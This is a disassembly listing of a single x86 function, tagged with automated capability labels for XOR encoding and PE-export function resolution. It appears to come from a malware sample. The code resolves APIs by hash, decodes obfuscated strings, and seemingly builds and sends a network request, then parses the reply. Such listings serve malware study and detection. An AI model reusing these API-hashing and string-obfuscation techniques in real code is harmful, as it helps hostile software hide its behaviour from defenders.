Function at 0x41a780
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xe0
mov esi, esp
mov edi, ecx
mov dword [esi + 0xcc], 0
mov dword [esi + 0xc8], 0
mov dword [esi + 0xc4], 0
mov dword [esi + 0xc0], 0
mov dword [esi + 0xbc], 0
mov dword [esi + 0xb0], 0
mov dword [esi + 0xb4], 2
mov dword [esi + 0xb8], 1
push 0x565577c1
push dword [0x449190]
call fcn.0043ca10
add esp, 8
lea ecx, [esi + 0x28]
lea edx, [esi + 0xb0]
push ecx
push edx
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
test eax, eax
je 0x41a81b
cmp dword [edi], 0xffffffff
jne 0x41a8c6
jmp 0x41ad40
push 0xb646c33f
push dword [0x449190]
call fcn.0043ca10
add esp, 8
mov dword [esi], eax
push 0xe7db718c
push dword [0x449190]
call fcn.0043ca10
add esp, 8
mov dword [esi + 8], eax
push 0xa3d60213
push dword [0x449190]
call fcn.0043ca10
add esp, 8
mov dword [esi + 4], eax
mov ebx, dword [esi + 0x28]
jmp 0x41a873
mov ebx, dword [ebx + 0x1c]
test ebx, ebx
je 0x41a8a5
push dword [ebx + 0xc]
push dword [ebx + 8]
push dword [ebx + 4]
call dword [esi]
mov dword [edi], eax
cmp eax, 0xffffffff
je 0x41a870
push dword [ebx + 0x10]
push dword [ebx + 0x18]
push eax
call dword [esi + 8]
cmp eax, 0xffffffff
jne 0x41a8a5
push dword [edi]
call dword [esi + 4]
mov dword [edi], 0xffffffff
jmp 0x41a870
push 0xeb17dc3b
push dword [0x449190]
call fcn.0043ca10
add esp, 8
push dword [esi + 0x28]
call eax
cmp dword [edi], 0xffffffff
je 0x41ad40
mov ecx, dword [ebp + 0x10]
mov eax, 0x8d
nop
nop
cmp byte [ecx + eax - 0x8d], 0
lea eax, [eax + 1]
jne 0x41a8d0
mov edx, dword [ebp + 8]
inc eax
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x41a8e0
mov dword [esi + 0x1c], edi
mov edx, dword [ebp + 0xc]
nop
inc eax
cmp byte [edx], 0
lea edx, [edx + 1]
jne 0x41a8f0
add eax, 3
and eax, 0xfffffffc
call fcn.00408680
mov eax, esp
and eax, 0xfffffff0
mov dword [esi], eax
mov esp, eax
mov dword [esi + 0x2c], 0x859a876c
mov dword [esi + 0x30], 0x7b616280
mov dword [esi + 0x34], 0x915c5867
mov dword [esi + 0x38], 0x67aeaea9
mov word [esi + 0x3c], 0x5f7c
mov dword [esi + 0x3e], 0
mov byte [esi + 0x42], 0
mov eax, 0xdd0500d
mov edi, 0x2faff2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, edi
and edx, 0x28262b
mov ebx, eax
and ebx, 0xdd04014
or ebx, edx
movzx edx, byte [esi + eax - 0xdd04fe1]
xor ebx, edx
mov edx, ebx
and edx, 0x6f
add edx, edx
xor edx, 0xa9
xor ebx, 0xbb
add ebx, edx
mov dl, 0x4e
sub dl, bl
mov byte [esi + eax - 0xdd04fe1], dl
inc eax
dec edi
cmp eax, 0xdd05024
jne 0x41a950
mov dword [esi + 0x10], 0x615a484d
mov byte [esi + 0x14], 0x80
mov dword [esi + 0x15], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
mov edx, eax
add dl, 0xe1
xor dl, byte [esi + eax + 0x10]
add dl, 0x9b
mov byte [esi + eax + 0x10], dl
inc eax
cmp eax, 9
jne 0x41a9b0
movzx eax, byte [esi + 0x10]
mov ebx, dword [esi]
test al, al
je 0x41a9eb
lea edx, [esi + 0x11]
mov ebx, dword [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x41a9e0
mov byte [ebx], 0
movzx eax, byte [ecx]
test al, al
je 0x41aa0d
inc ecx
mov edx, dword [ebp + 8]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41aa00
jmp 0x41aa10
mov edx, dword [ebp + 8]
mov byte [ebx], 0
movzx eax, byte [esi + 0x2c]
test al, al
je 0x41aa2b
lea ecx, [esi + 0x2d]
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41aa20
mov byte [ebx], 0
movzx eax, byte [edx]
test al, al
je 0x41aa4b
inc edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [edx]
inc edx
test al, al
jne 0x41aa40
mov byte [ebx], 0x3a
mov dword [esi + 0x2c], 0x41692523
mov dword [esi + 0x30], 0x51514149
mov dword [esi + 0x34], 0xc0167d53
mov dword [esi + 0x38], 0x3c3f292f
mov dword [esi + 0x3c], 0x35293229
mov dword [esi + 0x40], 0x3407595f
mov dword [esi + 0x44], 0x3c21393a
mov dword [esi + 0x48], 0x232b202c
mov dword [esi + 0x4c], 0x21097f16
mov dword [esi + 0x50], 0x31312129
mov dword [esi + 0x54], 0x3c4c4833
mov dword [esi + 0x58], 0x4550e0f
mov dword [esi + 0x5c], 0x103b0d0b
mov dword [esi + 0x60], 0x11051e05
mov dword [esi + 0x64], 0xf2013a5b
mov dword [esi + 0x68], 0x28225b32
mov dword [esi + 0x6c], 0x411b0d03
mov dword [esi + 0x70], 0x1e0e2c05
mov dword [esi + 0x74], 0xd0350a23
mov dword [esi + 0x78], 0xdcbdf4f7
mov dword [esi + 0x7c], 0xb3d7ffdc
mov dword [esi + 0x80], 0xecdbe0d8
mov dword [esi + 0x84], 0x8399c8f9
mov dword [esi + 0x88], 0xa2fffccd
mov dword [esi + 0x8c], 0xc4fcf8f5
mov dword [esi + 0x90], 0xf2eff6e1
mov dword [esi + 0x94], 0xcec0a8e0
mov dword [esi + 0x98], 0xdcd1deda
mov dword [esi + 0x9c], 0x928ee5d2
mov dword [esi + 0xa0], 0xbab8bc95
mov word [esi + 0xa4], 0xa7be
mov byte [esi + 0xa8], 0
mov word [esi + 0xa6], 0
mov eax, 0x91001ab5
nop
nop
nop
nop
nop
nop
nop
movzx ecx, byte [esi + eax + 0x6effe577]
mov edx, ecx
and edx, eax
add dl, dl
sub cl, dl
movzx ecx, cl
add ecx, eax
add cl, 0x77
mov byte [esi + eax + 0x6effe577], cl
inc eax
cmp eax, 0x91001b32
jne 0x41ab60
inc ebx
mov ecx, dword [ebp + 0xc]
movzx eax, byte [ecx]
test al, al
je 0x41abab
inc ecx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41aba0
mov byte [ebx], 0
movzx eax, byte [esi + 0x2c]
test al, al
je 0x41abcb
lea ecx, [esi + 0x2d]
nop
nop
nop
nop
nop
nop
nop
mov byte [ebx], al
inc ebx
movzx eax, byte [ecx]
inc ecx
test al, al
jne 0x41abc0
mov byte [ebx], 0
mov edi, dword [esi]
sub ebx, edi
push 0xefae2064
push dword [0x449190]
call fcn.0043ca10
add esp, 8
push 0
push ebx
push edi
mov edi, dword [esi + 0x1c]
push dword [edi]
call eax
cmp eax, 0xffffffff
jne 0x41ac37
cmp dword [edi], 0xffffffff
je 0x41ac37
push 0xea8d1240
push dword [0x449190]
call fcn.0043ca10
add esp, 8
push 2
push dword [edi]
call eax
push 0xa3d60213
push dword [0x449190]
call fcn.0043ca10
add esp, 8
push dword [edi]
call eax
mov dword [edi], 0xffffffff
xor eax, eax
jmp 0x41b0e3
cmp eax, 0xffffffff
je 0x41ad40
push 0x400
call fcn.004086b0
add esp, 4
mov dword [esi + 0x10], eax
mov dword [esi + 0x14], eax
add eax, 0x400
mov dword [esi + 0x18], eax
lea eax, [esi + 0x10]
mov ecx, edi
push eax
call fcn.0041b0f0
mov cl, 1
mov dword [esi + 8], ecx
test al, al
je 0x41b0cb
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
mov ebx, ecx
sub ebx, eax
cmp ecx, dword [esi + 0x18]
jne 0x41ada6
mov dword [esi + 8], ecx
mov dword [esi], eax
lea eax, [ebx + 1]
mov ecx, ebx
shr ecx, 1
mov dword [esi + 0x20], ecx
lea edi, [ecx + ebx]
cmp edi, eax
ja 0x41ac9e
mov edi, eax
push edi
call fcn.004086b0
add esp, 4
mov edx, dword [esi]
test edx, edx
je 0x41ad98
mov dword [esi + 0x24], edi
cmp eax, edx
mov dword [esi + 4], ebx
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
jbe 0x41ad47
cmp ecx, eax
jbe 0x41ad47
test ebx, ebx
je 0x41ad84
mov edi, edx
mov edx, dword [esi + 4]
mov eax, edx
and eax, 0xfffffffe
add eax, eax
mov ecx, edx
xor ecx, 1
sub eax, ecx
lea ecx, [edi + eax]
add eax, dword [esi + 0xc]
mov edi, edx
and edi, 3
je 0x41ad08
neg edi
xor edx, edx
movzx ebx, byte [ecx + edx]
mov byte [eax + edx], bl
dec edx
cmp edi, edx
jne 0x41acf5
add ecx, edx
add eax, edx
add edx, dword [esi + 4]
mov edi, dword [esi]
sub edi, dword [esi + 8]
cmp edi, 0xfffffffc
ja 0x41ad84
xor edi, edi
movzx ebx, byte [ecx + edi*2]
mov byte [eax + edi*2], bl
movzx ebx, byte [ecx + edi*2 - 1]
mov byte [eax + edi*2 - 1], bl
movzx ebx, byte [ecx + edi*2 - 2]
mov byte [eax + edi*2 - 2], bl
movzx ebx, byte [ecx + edi*2 - 3]
mov byte [eax + edi*2 - 3], bl
add edi, 0xfffffffe
add edx, 0xfffffffc
jne 0x41ad14
jmp 0x41ad84
xor eax, eax
jmp 0x41b0e3
mov ecx, ebx
shr ecx, 2
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
lea edi, [eax + edx]
add edx, dword [esi]
mov ecx, dword [esi + 0x20]
and ecx, 1
mov eax, ebx
mov ebx, edx
mov dword [esi], edi
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
test al, 1
je 0x41ad84
mov ecx, dword [esi + 4]
and ecx, 2
movzx edx, byte [edx + ecx]
mov eax, dword [esi]
mov byte [eax + ecx], dl
push dword [esi + 0x10]
call fcn.004086c0
add esp, 4
mov ebx, dword [esi + 4]
mov edi, dword [esi + 0x24]
mov eax, dword [esi + 0xc]
mov dword [esi + 0x10], eax
lea ecx, [eax + ebx]
mov dword [esi + 0x14], ecx
add edi, eax
mov dword [esi + 0x18], edi
mov byte [eax + ebx], 0
mov eax, dword [esi + 0x10]
mov dword [esi], eax
mov eax, dword [esi + 0x14]
inc eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x2c], 0x677a7560
mov dword [esi + 0x30], 0x42404447
mov dword [esi + 0x34], 0x5e5e4030
mov byte [esi + 0x38], 0xc
mov dword [esi + 0x39], 0
mov byte [esi + 0x3d], 0
xor ecx, ecx
nop
lea edi, [ecx + 6]
mov edx, 0x79
sub edx, ecx
mov eax, edx
and eax, 0xf
and edi, 0x30
or edi, eax
movzx eax, byte [esi + ecx + 0x2c]
xor edi, 0x70
and edi, eax
or edx, eax
not edx
or edx, edi
add dl, 0x62
mov byte [esi + ecx + 0x2c], dl
mov eax, ecx
and eax, 1
xor ecx, 1
lea ecx, [ecx + eax*2]
cmp ecx, 0x12
jb 0x41ade0
movzx edx, byte [esi + 0x2c]
mov edi, dword [esi]
mov eax, edi
mov dword [esi + 4], edi
test dl, dl
mov ecx, dword [esi + 0x1c]
je 0x41ae79
lea eax, [esi + 0x2c]
mov dword [esi + 8], eax
mov ebx, edi
mov dword [esi + 4], edi
jmp 0x41ae4d
mov eax, dword [esi + 8]
movzx edx, byte [eax]
test dl, dl
mov ecx, dword [esi + 0x1c]
je 0x41ae79
movzx eax, byte [ebx]
test al, al
je 0x41b0ba
inc ebx
inc dword [esi + 8]
mov ecx, dword [esi + 4]
lea edi, [ecx + 1]
cmp al, dl
je 0x41ae6d
mov eax, edi
mov dword [esi + 4], edi
mov ebx, edi
mov edi, dword [esi]
je 0x41ae40
lea eax, [esi + 0x2c]
mov dword [esi + 8], eax
jmp 0x41ae40
cmp dword [esi + 4], 0
je 0x41b0ba
mov ebx, dword [esi + 0xc]
jmp 0x41ae9e
cmp dl, dh
mov ecx, dword [esi + 0x1c]
mov ebx, dword [esi + 0xc]
je 0x41b0cb
mov edx, edi
sub edx, ebx
je 0x41aebf
mov eax, ebx
mov dword [esi], edi
xor ecx, ecx
xchg esi, eax
rep movsd dword es:[edi], dword [esi]
xchg esi, eax
mov edi, dword [esi]
xor ecx, ecx
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
mov ecx, dword [esi + 0x1c]
add dword [esi + 0x14], edx
lea eax, [esi + 0x10]
push eax
call fcn.0041b0f0
test al, al
je 0x41b0c4
mov dword [esi + 8], eax
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x14]
mov ebx, ecx
sub ebx, eax
cmp ecx, dword [esi + 0x18]
jne 0x41b00e
mov dword [esi + 4], ecx
mov dword [esi], eax
lea eax, [ebx + 1]
mov ecx, ebx
shr ecx, 1
mov dword [esi + 0x24], ecx
lea edi, [ecx + ebx]
cmp edi, eax
ja 0x41aefe
mov edi, eax
push edi
call fcn.004086b0
add esp, 4
mov edx, dword [esi]
test edx, edx
je 0x41b000
mov dword [esi + 0xac], edi
cmp eax, edx
mov dword [esi + 0xc], ebx
mov ecx, dword [esi + 4]
mov dword [esi + 0x20], eax
jbe 0x41afac
cmp ecx, eax
jbe 0x41afac
test ebx, ebx
je 0x41afe9
mov edi, edx
mov edx, dword [esi + 0xc]
mov eax, edx
and eax, 0xfffffffe
add eax, eax
mov ecx, edx
xor ecx, 1
sub eax, ecx
lea ecx, [edi + eax]
add eax, dword [esi + 0x20]
mov edi, edx
and edi, 3
je 0x41af73
neg edi
xor edx, edx
nop
nop
nop
nop
movzx ebx, byte [ecx + edx]
mov byte [eax + edx], bl
dec edx
cmp edi, edx
jne 0x41af60
add ecx, edx
add eax, edx
add edx, dword [esi + 0xc]
mov edi, dword [esi]
sub edi, dword [esi + 4]
cmp edi, 0xfffffffc
ja 0x41afe9
xor edi, edi
nop
movzx ebx, byte [ecx + edi*2]
mov byte [eax + edi*2], bl
movzx ebx, byte [ecx + edi*2 - 1]
mov byte [eax + edi*2 - 1], bl
movzx ebx, byte [ecx + edi*2 - 2]
mov byte [eax + edi*2 - 2], bl
movzx ebx, byte [ecx + edi*2 - 3]
mov byte [eax + edi*2 - 3], bl
add edi, 0xfffffffe
add edx, 0xfffffffc
jne 0x41af80
jmp 0x41afe9
mov ecx, ebx
shr ecx, 2
mov edi, eax
xchg esi, edx
rep movsd dword es:[edi], dword [esi]
xchg esi, edx
mov edx, ebx
and edx, 0xfffffffc
lea edi, [eax + edx]
add edx, dword [esi]
mov ecx, dword [esi + 0x24]
and ecx, 1
mov eax, ebx
mov ebx, edx
mov dword [esi], edi
xchg esi, ebx
rep movsw word es:[edi], word [esi]
xchg esi, ebx
test al, 1
je 0x41afe9
mov ecx, dword [esi + 0xc]
and ecx, 2
movzx edx, byte [edx + ecx]
mov eax, dword [esi]
mov byte [eax + ecx], dl
push dword [esi + 0x10]
call fcn.004086c0
add esp, 4
mov ebx, dword [esi + 0xc]
mov edi, dword [esi + 0xac]
mov eax, dword [esi + 0x20]
mov dword [esi + 0x10], eax
lea ecx, [eax + ebx]
mov dword [esi + 0x14], ecx
add edi, eax
mov dword [esi + 0x18], edi
mov byte [eax + ebx], 0
mov eax, dword [esi + 0x10]
mov dword [esi], eax
mov eax, dword [esi + 0x14]
inc eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], eax
mov word [esi + 0x2c], 0x1b25
mov byte [esi + 0x2e], 0x12
mov word [esi + 0x2f], 0
mov ecx, 0x7487fd84
mov edi, 0xb78027b
nop
nop
nop
nop
nop
movzx edx, byte [esi + ecx - 0x7487fd58]
mov eax, edi
and eax, 0xb200076
mov ebx, ecx
and ebx, 0x7407f589
or ebx, eax
xor ebx, edx
xor ebx, 0xba00876
lea eax, [ecx - 0x7487fd00]
and eax, edx
or eax, ebx
and edx, ecx
mov ebx, eax
xor ebx, edx
not edx
and edx, eax
add edx, edx
sub edx, ebx
add dl, 0x6c
mov byte [esi + ecx - 0x7487fd58], dl
inc ecx
dec edi
cmp ecx, 0x7487fd89
jne 0x41b040
xor ecx, ecx
mov edi, dword [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [edi + ecx]
mov dh, byte [esi + ecx + 0x2c]
test dl, dl
je 0x41ae90
inc ecx
cmp dl, dh
je 0x41b0a0
jmp 0x41ae90
push 0x3ea
call fcn.0041a460
mov dword [esi + 8], 0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x41b0e0
cmp eax, dword [esi + 0x14]
je 0x41b0e0
push eax
call fcn.004086c0
add esp, 4
mov eax, dword [esi + 8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc